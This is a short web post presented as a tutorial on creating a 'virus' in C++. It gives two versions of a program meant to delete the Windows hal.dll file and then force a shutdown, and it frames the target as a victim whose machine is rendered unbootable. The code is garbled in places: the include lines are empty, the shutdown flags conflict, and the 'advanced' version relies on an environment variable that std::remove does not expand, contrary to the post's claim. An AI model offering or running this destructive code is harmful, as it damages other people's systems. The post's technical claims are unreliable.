How to Create Virus in C++

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.

The Original Code:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

A more advanced version of this virus which makes the C:\Windows a variable that cannot be wrong. Here it is:

Code:

#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

The second version would be more useful during times when you do not know the victims default drive. It might be drive N: for all you know.
